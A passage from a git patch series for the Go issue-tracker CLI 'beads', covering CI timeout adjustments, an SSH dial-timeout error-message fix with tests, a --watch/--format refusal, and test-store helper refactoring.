-15 12 TestProxiedServerShow3 -15 12 TestProxiedServerStale -15 12 TestProxiedServerTag +15 12 TestProxiedServerDeleteBlockedJSONSingleDoc +15 12 TestProxiedServerHistory +15 12 TestProxiedServerKV +15 12 TestProxiedServerMolShow +15 12 TestProxiedServerQuery +15 12 TestProxiedServerQuick +15 12 TestProxiedServerServeDelete +15 12 TestProxiedServerShow2 +15 12 TestProxiedServerTypes +15 12 TestProxiedServerUpdateClosePolicy -15 13 TestProxiedServerConfig -15 13 TestProxiedServerConfigConcurrent -15 13 TestProxiedServerGateList -15 13 TestProxiedServerMemory -15 13 TestProxiedServerMultiStatementSQL -15 13 TestProxiedServerReopen -15 13 TestProxiedServerStatuses +15 13 TestProxiedServerDeleteConcurrent +15 13 TestProxiedServerInfo +15 13 TestProxiedServerMolSquash +15 13 TestProxiedServerReadyClaimConcurrent +15 13 TestProxiedServerReadyWisp +15 13 TestProxiedServerServeEdgeCounts +15 13 TestProxiedServerShow3 +15 13 TestProxiedServerStatus +15 13 TestProxiedServerUnclaim +15 13 TestProxiedServerWispGC -15 14 TestProxiedServerComment -15 14 TestProxiedServerContext -15 14 TestProxiedServerKV -15 14 TestProxiedServerNote -15 14 TestProxiedServerSearch -15 14 TestProxiedServerShow -15 14 TestProxiedServerTypes +15 14 TestProxiedServerCleanDatabasesPurgeDropped +15 14 TestProxiedServerConfig +15 14 TestProxiedServerConfigSetMany +15 14 TestProxiedServerDeleteForceOrphans +15 14 TestProxiedServerImport +15 14 TestProxiedServerInitIfMissing +15 14 TestProxiedServerMolDistill +15 14 TestProxiedServerPrime +15 14 TestProxiedServerReadyConcurrent +15 14 TestProxiedServerServeLifecycle +15 14 TestProxiedServerUnclaimIfAssigneeParity -15 15 TestProxiedServerMolShow -15 15 TestProxiedServerOrphans -15 15 TestProxiedServerRecomputeBlocked -15 15 TestProxiedServerShow2 -15 15 TestProxiedServerUnclaim +15 15 TestProxiedServerCloseConcurrent +15 15 TestProxiedServerDeleteWisp +15 15 TestProxiedServerEpic +15 15 TestProxiedServerHuman +15 15 TestProxiedServerLint +15 15 TestProxiedServerMolCurrent +15 15 TestProxiedServerReclaim +15 15 TestProxiedServerServeModeGate +15 15 TestProxiedServerTodo 15 15 TestProxiedServerUpdate3 -15 15 TestProxiedServerUpdateHooks +15 15 TestProxiedServerUpdateConcurrentAppendNotes diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index ffdcf1df0..f2085abad 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -876,7 +876,7 @@ jobs: if: github.event_name == 'push' && github.ref == 'refs/heads/main' runs-on: ubuntu-latest needs: build-artifacts - timeout-minutes: 20 + timeout-minutes: 30 strategy: fail-fast: false matrix: @@ -916,6 +916,13 @@ jobs: run: ./scripts/ci/pull-dolt-image.sh - name: Test proxied-server cmd shard + # Timeout ordering, same as pr-risk.yml's twin: the test binary's own + # -test.timeout=15m (proxied-test-shard.sh) fires first and dumps + # goroutines, this 16m step timeout only backstops a wedged binary, and + # the 30m job budget absorbs the download/install/pull steps. Without + # the step timeout, slow setup alone can exhaust the job budget and kill + # a healthy test run with nothing to diagnose. + timeout-minutes: 16 env: BEADS_TEST_PROXIED_SERVER: "1" BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure diff --git a/.github/workflows/pr-risk.yml b/.github/workflows/pr-risk.yml index 44bce3551..4344f7663 100644 --- a/.github/workflows/pr-risk.yml +++ b/.github/workflows/pr-risk.yml @@ -70,7 +70,7 @@ jobs: needs: [detect-ci-tier, build-embedded] if: needs.detect-ci-tier.outputs.full_embedded == 'true' runs-on: ubuntu-latest - timeout-minutes: 20 + timeout-minutes: 30 strategy: fail-fast: false matrix: @@ -106,6 +106,7 @@ jobs: run: ./scripts/ci/pull-dolt-image.sh - name: Test proxied-server cmd shard + timeout-minutes: 16 env: BEADS_TEST_PROXIED_SERVER: "1" BEADS_TEST_BD_BINARY: /tmp/bd-proxied diff --git a/scripts/ci/gen_proxied_shard_manifest.py b/scripts/ci/gen_proxied_shard_manifest.py index 511ab2ee6..7905eb026 100644 --- a/scripts/ci/gen_proxied_shard_manifest.py +++ b/scripts/ci/gen_proxied_shard_manifest.py @@ -53,6 +53,22 @@ out.append('# estimated cost (bd-init count; per-init migration chains dominate) out.append('# Regenerate with scripts/ci/gen_proxied_shard_manifest.py after adding,') out.append('# splitting, or reweighting TestProxiedServer* functions. Newly-added') out.append('# tests not listed here hash-distribute via proxied-test-shard.sh.') +out.append('#') +out.append('# This file is generated: notes added here are erased by the next') +out.append('# regeneration. Add them to the generator instead. Known blind spots') +out.append('# of the cost proxy (it counts inits, not the work done per init):') +out.append('#') +out.append('# TestProxiedServerListSortRetiresTheWalk is the most expensive') +out.append('# entry and one of the cheapest-looking: off a single init it seeds') +out.append('# 1400 rows and walks the listing three ways. It is the measurement') +out.append('# behind the claim that sort=priority retires the client-side walk,') +out.append('# so it has to run on PRs.') +out.append('#') +out.append('# TestProxiedServerServeReadParity is the CLI/HTTP read parity') +out.append('# oracle, the behavioural half of the anti-drift claim. It being in') +out.append('# this lane, and this lane being required by the PR Risk CI gate,') +out.append('# is what makes that claim enforced on PRs rather than asserted in') +out.append('# a doc comment.') out.append('') for i in range(TOTAL): for name in sorted(shards[i]): From 61ec1d1c386d7ca3ef08915a4c59515ce66d51fa Mon Sep 17 00:00:00 2001 From: Rongjun GENG Date: Sat, 26 Sep 2026 07:19:47 -0700 Subject: [PATCH 097/624] fix(sync): distinguish SSH dial timeout from auth failure (#6677) * fix(sync): distinguish SSH dial timeout from auth failure * fix(sync): sanitize discarded pull errors --- cmd/bd/sync.go | 23 +++++++++++++++++++++-- cmd/bd/sync_test.go | 40 +++++++++++++++++++++++++++++++++++++--- 2 files changed, 58 insertions(+), 5 deletions(-) diff --git a/cmd/bd/sync.go b/cmd/bd/sync.go index 70d5e01fd..bd2c97311 100644 --- a/cmd/bd/sync.go +++ b/cmd/bd/sync.go @@ -9,6 +9,7 @@ import ( "path/filepath" "regexp" "sort" + "strings" "time" "github.com/spf13/cobra" @@ -294,7 +295,7 @@ func runSyncLoop(ctx context.Context, ops syncOps, maxAttempts int) (*syncOutcom // shared sql-server — and returning nil below would silently // drop it. Surface it instead of discarding it. if pullErr != nil && len(merged) == 0 { - out.DiscardedPullError = pullErr.Error() + out.DiscardedPullError = syncFailureText(pullErr) } return out, nil } @@ -870,7 +871,7 @@ func runSyncCommand(cmd *cobra.Command, _ []string) error { } return nil } - exitErr := HandleErrorRespectJSON("sync failed: %v", err) + exitErr := HandleErrorRespectJSON("sync failed: %s", syncFailureText(err)) if !jsonOutput { printSyncErrorGuidance(remote, err) } @@ -901,6 +902,24 @@ func runSyncCommand(cmd *cobra.Command, _ []string) error { } } +// sshDialTimeoutLine is deliberately narrower than a generic timeout: Dolt's +// git auth wrapper appends credential hints to all git failures, including a +// transport-level SSH dial timeout. Only that positively identified stderr +// line warrants replacing the inherited, misleading auth advice. Match the +// stderr line rather than importing Dolt's error type across the storage +// boundary; sync only has the wrapped error by the time it renders the result. +var sshDialTimeoutLine = regexp.MustCompile(`(?i)ssh: connect to host [^\r\n]+ port [0-9]+: (?:Operation timed out|Connection timed out)`) + +func syncFailureText(err error) string { + if err == nil { + return "" + } + if line := sshDialTimeoutLine.FindString(err.Error()); line != "" { + return "SSH remote could not be reached (dial timed out): " + scrubURLCredentials(strings.TrimSpace(line)) + } + return err.Error() +} + // mergeBlockersOp builds the loop's positive constraint-violation hook, or nil // when this store cannot answer the question — an unimplemented interface // must leave the detector silent, never guessing. Bound to the same st the diff --git a/cmd/bd/sync_test.go b/cmd/bd/sync_test.go index 5be83f74c..1acd6ff9d 100644 --- a/cmd/bd/sync_test.go +++ b/cmd/bd/sync_test.go @@ -18,6 +18,33 @@ import ( "github.com/steveyegge/beads/internal/storage/versioncontrolops" ) +func TestSyncFailureTextDistinguishesSSHDialTimeoutFromAuth(t *testing.T) { + const timeoutLine = "ssh: connect to host blackhole.example port 22: Operation timed out" + gitText := timeoutLine + "\nfatal: Could not read from remote repository.\nPlease make sure you have the correct access rights and the repository exists.\nhint: run `ssh-add ` to pre-load your key for SSH remotes" + timeout := fmt.Errorf("pull: %w", errors.New(gitText)) + if !strings.Contains(timeout.Error(), "ssh-add") { + t.Fatal("fixture did not reproduce Dolt's misleading auth hint") + } + got := syncFailureText(timeout) + if !strings.Contains(got, timeoutLine) || !strings.Contains(got, "could not be reached") { + t.Fatalf("dial timeout not explained: %q", got) + } + for _, misleading := range []string{"access rights", "ssh-add", "fatal: Could not read"} { + if strings.Contains(got, misleading) { + t.Errorf("dial timeout retained auth hint %q: %q", misleading, got) + } + } + + auth := fmt.Errorf("pull: %w", errors.New("git@host: Permission denied (publickey).\nhint: run `ssh-add ` to pre-load your key for SSH remotes")) + if got := syncFailureText(auth); got != auth.Error() { + t.Errorf("real auth failure changed: got %q, want %q", got, auth.Error()) + } + plainTimeout := errors.New("database query: Operation timed out") + if got := syncFailureText(plainTimeout); got != plainTimeout.Error() { + t.Errorf("non-SSH timeout changed: got %q, want %q", got, plainTimeout.Error()) + } +} + // syncOpsRecorder builds a syncOps whose steps are scripted per attempt and // which records how many times each step ran. Scripts are indexed by call // number; a call past the end of a script reuses the script's last entry, so a @@ -302,8 +329,10 @@ func TestRunSyncLoopConflictWinsOverPullError(t *testing.T) { // `merged` empty — the conflict branch still fires (from the live check), and // the unrelated error must not vanish silently. func TestRunSyncLoopDiscardedPullErrorOnLiveConflict(t *testing.T) { + const timeoutLine = "ssh: connect to host blackhole.example port 22: Operation timed out" + pullErr := errors.New(timeoutLine + "\nfatal: Could not read from remote repository.\nPlease make sure you have the correct access rights and the repository exists.\nhint: run `ssh-add ` to pre-load your key for SSH remotes") r := &syncOpsRecorder{ - pullErrs: []error{errors.New("dial tcp: connection refused")}, + pullErrs: []error{pullErr}, conflictsSeq: [][]string{nil, {"issues"}}, } out, err := runSyncLoop(context.Background(), r.ops(), defaultSyncAttempts) @@ -313,8 +342,13 @@ func TestRunSyncLoopDiscardedPullErrorOnLiveConflict(t *testing.T) { if out.Status != syncStatusConflict { t.Fatalf("status = %q, want %q", out.Status, syncStatusConflict) } - if out.DiscardedPullError != "dial tcp: connection refused" { - t.Errorf("DiscardedPullError = %q, want the unrelated pull error preserved", out.DiscardedPullError) + if !strings.Contains(out.DiscardedPullError, "could not be reached") || !strings.Contains(out.DiscardedPullError, timeoutLine) { + t.Errorf("DiscardedPullError does not explain the dial timeout: %q", out.DiscardedPullError) + } + for _, misleading := range []string{"access rights", "ssh-add", "fatal: Could not read"} { + if strings.Contains(out.DiscardedPullError, misleading) { + t.Errorf("DiscardedPullError retained auth hint %q: %q", misleading, out.DiscardedPullError) + } } } From c2f5029e1006a62d8688a8fbe313baa0da3b85cb Mon Sep 17 00:00:00 2001 From: Harry Miller Date: Sat, 26 Sep 2026 07:32:57 -0700 Subject: [PATCH 098/624] fix(list): refuse --watch with --format on the direct route too (#6277) (#6707) --watch forces the pretty listing and returns into the watch loop before the --format branch, so on the direct route `bd list --watch --format X` printed the pretty listing and never mentioned the ignored template. The proxied route already refused the combination in runListProxiedWatch. The refusal now lives in gatherListInput, next to the existing --watch / --brief refusal and ahead of the route split, so both routes give the same usage error. The proxied-only guard is unreachable now and is removed, and its integration test expects the shared message. Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-authored-by: Claude Opus 5.5 (1M context) --- CHANGELOG.md | 7 +++++++ cmd/bd/list_input.go | 7 +++++++ cmd/bd/list_proxied_integration_test.go | 2 +- cmd/bd/list_proxied_server.go | 5 +---- cmd/bd/list_ready_brief_test.go | 22 ++++++++++++++++++++++ 5 files changed, 38 insertions(+), 5 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 72107ba66..eba980dea 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **`bd list --watch --format` is refused instead of silently dropping the + format** ([#6277](https://github.com/gastownhall/beads/issues/6277)). + `--watch` always re-renders the pretty listing, so on the direct route a + `--format` template was ignored without a word, while `--proxied-server` + already refused the combination. Both routes now fail with the same + `--format cannot be combined with --watch` usage error. + - **The smart migrate gate no longer auto-migrates a clone whose data is behind the remote, and `bd dolt pull` now works from that state** ([#6575](https://github.com/gastownhall/beads/issues/6575)). The gate's diff --git a/cmd/bd/list_input.go b/cmd/bd/list_input.go index b637f47ff..9ffac554e 100644 --- a/cmd/bd/list_input.go +++ b/cmd/bd/list_input.go @@ -258,6 +258,13 @@ func gatherListInput(cmd *cobra.Command) (listInput, error) { in.prettyFormat = (prettyFormat || treeFormat) && !in.jsonOutput && in.formatStr == "" in.watchMode, _ = cmd.Flags().GetBool("watch") if in.watchMode { + // --watch re-renders the pretty listing on every tick, so a --format + // template would be dropped without a word (GH#6277). Refused here, + // ahead of the route split, so the direct and proxied routes answer + // the same way. + if in.formatStr != "" { + return in, HandleError("--format cannot be combined with --watch; --watch always renders the pretty listing") + } in.prettyFormat = true } in.noPager, _ = cmd.Flags().GetBool("no-pager") diff --git a/cmd/bd/list_proxied_integration_test.go b/cmd/bd/list_proxied_integration_test.go index 31ed92c41..80dd977ed 100644 --- a/cmd/bd/list_proxied_integration_test.go +++ b/cmd/bd/list_proxied_integration_test.go @@ -719,7 +719,7 @@ func TestProxiedServerList(t *testing.T) { t.Run("reject_format_with_watch", func(t *testing.T) { out := bdProxiedListFail(t, bd, p, "--watch", "--format", "dot") - if !strings.Contains(out, "--format under --proxied-server --watch is not supported") { + if !strings.Contains(out, "--format cannot be combined with --watch") { t.Errorf("expected --format+--watch rejection message, got: %s", out) } }) diff --git a/cmd/bd/list_proxied_server.go b/cmd/bd/list_proxied_server.go index f6c775c92..f993232e9 100644 --- a/cmd/bd/list_proxied_server.go +++ b/cmd/bd/list_proxied_server.go @@ -110,10 +110,7 @@ func runListProxiedPage(ctx context.Context, out io.Writer, in listInput) error } func runListProxiedWatch(_ *cobra.Command, ctx context.Context, in listInput) error { - if in.formatStr != "" { - return errors.New("--format under --proxied-server --watch is not supported") - } - + // --format with --watch is refused in gatherListInput, on both routes. uw, filter, err := openAndPrepare(ctx, in) if err != nil { return err diff --git a/cmd/bd/list_ready_brief_test.go b/cmd/bd/list_ready_brief_test.go index c7510fd5d..8dacdb44d 100644 --- a/cmd/bd/list_ready_brief_test.go +++ b/cmd/bd/list_ready_brief_test.go @@ -172,6 +172,28 @@ func TestListBriefIsRefusedWhereItCannotBeHonored(t *testing.T) { } } +// TestListWatchRefusesFormat pins GH#6277: --watch always re-renders the pretty +// listing, so a --format template would be dropped silently. The refusal lives +// in gatherListInput, ahead of the route split, so the direct route answers +// the way the proxied route used to on its own. +func TestListWatchRefusesFormat(t *testing.T) { + pinJSONOutput(t, false) + _, err, shown := runGatherListInput(t, newListFlagsCommand(t, "--watch", "--format", "digraph")) + if err == nil { + t.Fatal("gatherListInput(--watch --format digraph) = nil, want a usage error") + } + if want := "--format cannot be combined with --watch"; !strings.Contains(shown, want) { + t.Errorf("output = %q, want it to name %q", shown, want) + } + + // The control: --watch alone and --format alone are both still accepted. + for _, args := range [][]string{{"--watch"}, {"--format", "digraph"}} { + if _, err := gatherListInput(newListFlagsCommand(t, args...)); err != nil { + t.Errorf("gatherListInput(%v) = %v, want no error", args, err) + } + } +} + // TestListBriefIsAcceptedOnThePageRoutes is the negative control: the modes // above are refusals, not a blanket one. --long is here on purpose, since it is // the text rendering that prints an omitted field and is allowed precisely From 2ef3bd8c66df35278ad80c1b048ece7baac4ccc3 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Sat, 26 Sep 2026 07:34:49 -0700 Subject: [PATCH 099/624] fix: 36 raw dolt.New(&Config{Path}) test sites in cmd/bd silently skip (#6679) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat: green — fix 36 raw dolt.New(&Config{Path}) test sites in cmd/bd silently skip (refs be-0k0dv) Converts all 36 raw dolt.New(ctx, &dolt.Config{Path: ...}) call sites in cmd/bd test files to the newTestStore/newTestStoreWithPrefix/ newTestStoreIsolatedDB helpers, which set CreateIfMissing: true. Without this, missing databases caused t.Skipf("Dolt server not available") even though the real cause was a missing DB, not a missing server — silently hiding real coverage since 63418ae54's CreateIfMissing migration. - cmd/bd/mol_test.go: 31 sites (26 -> newTestStore, 5 -> newTestStoreWithPrefix) - cmd/bd/contributor_routing_e2e_test.go: 3 sites -> newTestStoreIsolatedDB - cmd/bd/update_metadata_test.go: 1 site -> newTestStoreWithPrefix - cmd/bd/rename_prefix_repair_test.go: 1 site -> newTestStore Removed now-unused dolt imports where no other dolt.* usage remained in file (mol_test.go, update_metadata_test.go, rename_prefix_repair_test.go). contributor_routing_e2e_test.go keeps its dolt import — still used by initProjectStore/initPlanningStore and struct fields outside the 36 converted sites. * fix(test): finish contributor_routing_e2e_test.go's conversion; stop dbPath lying Maintainer adoption fixup for PR #6679 (adoption review iteration 1). contributor_routing_e2e_test.go converted 3 of its 7 raw dolt.New(&dolt.Config{Path}) sites, leaving 4 — so one file carried two different failure contracts for the same condition, and the harness that backs most of the file's tests was still on the broken one. Convert the remaining 4 to newTestStoreIsolatedDB: initProjectStore ("proj-"), initPlanningStore ("plan-"), and the override/external stores in TestExplicitRepoOverride ("over-") and TestBEADS_DIRPrecedence ("ext-"). Each replaced SetConfig(ctx, "issue_prefix", X) is reproduced by the helper's prefix argument, and the co-located defer store.Close() calls go with the sites the helper's t.Cleanup now covers. Effect: 9 routing tests stop silently skipping. Before, at the contributor head, TestContributorRoutingDirect / TestExplicitRepoOverride / TestBEADS_DIRPrecedence all reported skipping: Dolt server not available: database "testdb_…" not found against a live Dolt container. After, all 12 test functions in the file PASS with 0 skips under -tags integration,gms_pure_go. rename_prefix_repair_test.go: drop the unused global dbPath save/set/restore. newTestStore's shared-branch path writes a metadata.json naming the shared database with no branch qualifier while the live store sits on a per-test branch, so setting the global to testDBPath planted the reopen-by-path hazard the helper's own doc comment warns about. repairPrefixes takes the store explicitly and never reopens by path, so the assignment was dead weight pointing somewhere wrong; the comment now records why it is absent. Remaining out of scope (tracked for follow-up): 10 raw sites in config_test.go, sql_test.go, cli_coverage_show_test.go, rename_prefix_test.go, migrate_test.go, and mol_ready_gated_test.go. --------- Co-authored-by: Julian Knutsen --- cmd/bd/contributor_routing_e2e_test.go | 60 +----- cmd/bd/mol_test.go | 280 +++---------------------- cmd/bd/rename_prefix_repair_test.go | 24 +-- cmd/bd/update_metadata_test.go | 12 +- 4 files changed, 48 insertions(+), 328 deletions(-) diff --git a/cmd/bd/contributor_routing_e2e_test.go b/cmd/bd/contributor_routing_e2e_test.go index a5bfb5239..4038bb9c1 100644 --- a/cmd/bd/contributor_routing_e2e_test.go +++ b/cmd/bd/contributor_routing_e2e_test.go @@ -100,11 +100,7 @@ func TestContributorRoutingTracer(t *testing.T) { ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) defer cancel() - projectStore, err := dolt.New(ctx, &dolt.Config{Path: projectDBPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer projectStore.Close() + projectStore := newTestStoreIsolatedDB(t, projectDBPath, "test") // Set routing config in project store (canonical keys) if err := projectStore.SetConfig(ctx, "routing.mode", "auto"); err != nil { @@ -151,16 +147,7 @@ func TestContributorRoutingTracer(t *testing.T) { // Initialize planning database and verify we can create issues there planningDBPath := filepath.Join(planningBeadsDir, "beads.db") - planningStore, err := dolt.New(ctx, &dolt.Config{Path: planningDBPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer planningStore.Close() - - // Initialize planning store with required config - if err := planningStore.SetConfig(ctx, "issue_prefix", "plan-"); err != nil { - t.Fatalf("failed to set issue_prefix in planning store: %v", err) - } + planningStore := newTestStoreIsolatedDB(t, planningDBPath, "plan-") // Create a test issue in planning store (simulating what Phase 2 will do) issue := &types.Issue{ @@ -205,11 +192,7 @@ func TestBackwardCompatContributorConfig(t *testing.T) { ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) defer cancel() - store, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer store.Close() + store := newTestStoreIsolatedDB(t, dbPath, "test") // Set LEGACY contributor.* keys (what old versions of bd init --contributor would set) if err := store.SetConfig(ctx, "contributor.auto_route", "true"); err != nil { @@ -309,10 +292,7 @@ func (env *contributorRoutingEnv) cleanup() { func (env *contributorRoutingEnv) initProjectStore(syncMode string) *dolt.DoltStore { env.t.Helper() projectDBPath := filepath.Join(env.projectDir, ".beads", "beads.db") - store, err := dolt.New(env.ctx, &dolt.Config{Path: projectDBPath}) - if err != nil { - env.t.Skipf("skipping: Dolt server not available: %v", err) - } + store := newTestStoreIsolatedDB(env.t, projectDBPath, "proj-") // Set routing config if err := store.SetConfig(env.ctx, "routing.mode", "auto"); err != nil { @@ -321,9 +301,6 @@ func (env *contributorRoutingEnv) initProjectStore(syncMode string) *dolt.DoltSt if err := store.SetConfig(env.ctx, "routing.contributor", env.planningDir); err != nil { env.t.Fatalf("failed to set routing.contributor: %v", err) } - if err := store.SetConfig(env.ctx, "issue_prefix", "proj-"); err != nil { - env.t.Fatalf("failed to set issue_prefix: %v", err) - } // Set sync mode-specific config switch syncMode { @@ -350,14 +327,7 @@ func (env *contributorRoutingEnv) initProjectStore(syncMode string) *dolt.DoltSt func (env *contributorRoutingEnv) initPlanningStore() *dolt.DoltStore { env.t.Helper() planningDBPath := filepath.Join(env.planningDir, ".beads", "beads.db") - store, err := dolt.New(env.ctx, &dolt.Config{Path: planningDBPath}) - if err != nil { - env.t.Skipf("skipping: Dolt server not available: %v", err) - } - - if err := store.SetConfig(env.ctx, "issue_prefix", "plan-"); err != nil { - env.t.Fatalf("failed to set issue_prefix in planning store: %v", err) - } + store := newTestStoreIsolatedDB(env.t, planningDBPath, "plan-") return store } @@ -663,15 +633,7 @@ func TestExplicitRepoOverride(t *testing.T) { } overrideDBPath := filepath.Join(overrideBeadsDir, "beads.db") - overrideStore, err := dolt.New(env.ctx, &dolt.Config{Path: overrideDBPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer overrideStore.Close() - - if err := overrideStore.SetConfig(env.ctx, "issue_prefix", "over-"); err != nil { - t.Fatalf("failed to set issue_prefix in override store: %v", err) - } + overrideStore := newTestStoreIsolatedDB(t, overrideDBPath, "over-") // Build routing config WITH explicit override mode, _ := projectStore.GetConfig(env.ctx, "routing.mode") @@ -738,15 +700,7 @@ func TestBEADS_DIRPrecedence(t *testing.T) { } externalDBPath := filepath.Join(externalBeadsDir, "beads.db") - externalStore, err := dolt.New(env.ctx, &dolt.Config{Path: externalDBPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer externalStore.Close() - - if err := externalStore.SetConfig(env.ctx, "issue_prefix", "ext-"); err != nil { - t.Fatalf("failed to set issue_prefix in external store: %v", err) - } + externalStore := newTestStoreIsolatedDB(t, externalDBPath, "ext-") // Set BEADS_DIR to external directory t.Setenv("BEADS_DIR", externalBeadsDir) diff --git a/cmd/bd/mol_test.go b/cmd/bd/mol_test.go index 70a5ed10c..e24ffd10f 100644 --- a/cmd/bd/mol_test.go +++ b/cmd/bd/mol_test.go @@ -9,7 +9,6 @@ import ( "testing" "github.com/steveyegge/beads/internal/formula" - "github.com/steveyegge/beads/internal/storage/dolt" "github.com/steveyegge/beads/internal/types" ) @@ -217,14 +216,7 @@ func TestMinPriority(t *testing.T) { func TestBondProtoProto(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - store, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer store.Close() - if err := store.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + store := newTestStore(t, dbPath) // Create two protos protoA := &types.Issue{ @@ -293,14 +285,7 @@ func TestBondProtoProto(t *testing.T) { func TestBondProtoMol(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - store, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer store.Close() - if err := store.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + store := newTestStore(t, dbPath) // Create a proto with a child issue proto := &types.Issue{ @@ -366,14 +351,7 @@ func TestBondProtoMol(t *testing.T) { func TestBondMolMol(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - store, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer store.Close() - if err := store.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + store := newTestStore(t, dbPath) // Create two molecules molA := &types.Issue{ @@ -466,14 +444,7 @@ func TestBondMolMol(t *testing.T) { func TestSquashMolecule(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Create a molecule (root issue) root := &types.Issue{ @@ -574,14 +545,7 @@ func TestSquashMolecule(t *testing.T) { func TestSquashMoleculeWithDelete(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Create a molecule with ephemeral children root := &types.Issue{ @@ -683,14 +647,7 @@ func TestGenerateDigest(t *testing.T) { func TestSquashMoleculeWithAgentSummary(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Create a molecule with ephemeral child root := &types.Issue{ @@ -754,14 +711,7 @@ func TestSquashMoleculeWithAgentSummary(t *testing.T) { func TestSquashWispMoleculeClearsRootEphemeral(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Wisp molecule: root is ephemeral too (created via `bd mol wisp`). root := &types.Issue{ @@ -821,14 +771,7 @@ func TestSquashWispMoleculeClearsRootEphemeral(t *testing.T) { func TestSpawnWithBasicAttach(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Create primary proto with a child primaryProto := &types.Issue{ @@ -954,14 +897,7 @@ func TestSpawnWithBasicAttach(t *testing.T) { func TestSpawnWithMultipleAttachments(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Create primary proto primaryProto := &types.Issue{ @@ -1072,14 +1008,7 @@ func TestSpawnWithMultipleAttachments(t *testing.T) { func TestSpawnAttachTypes(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Create primary proto primaryProto := &types.Issue{ @@ -1192,14 +1121,7 @@ func TestSpawnAttachNonProtoError(t *testing.T) { func TestSpawnVariableAggregation(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := newTestStore(t, dbPath) // Create primary proto with one variable primaryProto := &types.Issue{ @@ -1360,14 +1282,7 @@ func TestSpawnAttachDryRunOutput(t *testing.T) { func TestWispFilteringFromExport(t *testing.T) { ctx := context.Background() dbPath := t.TempDir() + "/test.db" - s, err := dolt.New(ctx, &dolt.Config{Path: dbPath}) - if err != nil { - t.Skipf("skipping: Dolt server not available: %v", err) - } - defer s.Close() - if err := s.SetConfig(ctx, "issue_prefix", "test"); err != nil { - t.Fatalf("Failed to set config: %v", err) - } + s := 